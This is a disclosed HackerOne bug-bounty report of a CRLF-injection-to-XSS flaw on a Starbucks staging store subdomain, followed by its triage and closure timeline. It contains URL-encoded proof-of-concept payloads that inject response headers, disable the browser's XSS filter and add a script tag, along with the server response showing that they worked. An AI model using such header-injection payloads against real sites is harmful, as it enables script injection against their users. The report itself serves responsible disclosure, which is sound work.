



19 [stagecafrstore.starbucks.com] CRLF Injection, XSS

Share:      


State ☐ Resolved (Closed)






Disclosed **January 23, 2018 4:01am +0530**

Reported To [Starbucks](#)

Asset Other assets
(Other)

Weakness Cross-site Scripting (XSS) - Generic

Severity  Low (0.1 ~ 3.9)

Participants     

Visibility Disclosed (Full)

[Collapse](#)

TIMELINE

[bobrov](#) submitted a report to [Starbucks](#).

Dec 20th (2 years ago)

Chrome PoC

```
Content-Type: text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert%28document.domain%29%3C/script%3E
```

FireFox PoC

```
Content-Type: text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```

HTTP Response

```
HTTP/1.1 301 Content-moved
Date: Tue, 20 Dec 2016 08:40:11 GMT
Server: WebServer
X-Original-link: /%3f%0D%0ALocation: //x:1%0D%0AContent-Type: text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert%28document.domain%29%3C/script%3E
X-XSS-Protection: 0
Location: //x:1
Content-Type: text/html
Content-Length: 98

<script>alert(document.domain)</script>
Content-Length: 0
X-OneLinkServiceType: onelink.fcgi
```

1 attachment:

F145308: [Screenshot_at_12-42-40.png](#)[bobrov](#) updated the severity to Medium.

Dec 20th (2 years ago)

[sharpie](#) HackerOne staff posted a comment.

Dec 29th (2 years ago)

Hey [@bobrov](#)

Thanks for sending this in. We are currently reviewing your submission. We'll notify you shortly.



[bobrov](#) posted a comment.

Updated Dec 29th (2 years ago)

Similar vuln also on
stagededestore.starbucks.com
stagefrfrstore.starbucks.com



[coldbr3w](#) updated the severity from Medium to Low.

Dec 30th (2 years ago)



[coldbr3w](#) changed the status to ○ **Triaged**.

Dec 30th (2 years ago)



[Starbucks](#) has decided that this report is not eligible for a bounty.

Dec 30th (2 years ago)

This site is not one listed in our Targets Eligible for Reward within our policy so it is not eligible for a bounty. However, once resolved, you will still benefit from the points here on HackerOne.



[bobrov](#) posted a comment.

Apr 18th (2 years ago)

Vulnerability still works



[siren](#) posted a comment.

Apr 19th (2 years ago)

Hi [@bobrov](#),

Yes, this one is still open with our starbucks.com team. As soon as we have an update to share on progress, we'll be back in touch.

Thanks for checking in!



[overice](#) closed the report and changed the status to ○ **Resolved**.

Nov 3rd (about 1 year ago)

Hi [@bobrov](#),

Thank you for your patience while we investigated your report. As you might have heard, Starbucks has taken down its consumer site of 'store.starbucks.com' and as a result I am closing your report as Resolved.

It was a pleasure working with you and we hope to work with you soon on future reports.

Thanks,

[@overice](#)



[bobrov](#) requested to disclose this report.

Dec 29th (about 1 year ago)



[overice](#) agreed to disclose this report.

Jan 23rd (about 1 year ago)



This report has been disclosed.

Jan 23rd (about 1 year ago)



[overice](#) changed the scope from **None** to **Other assets**.

Aug 9th (7 months ago)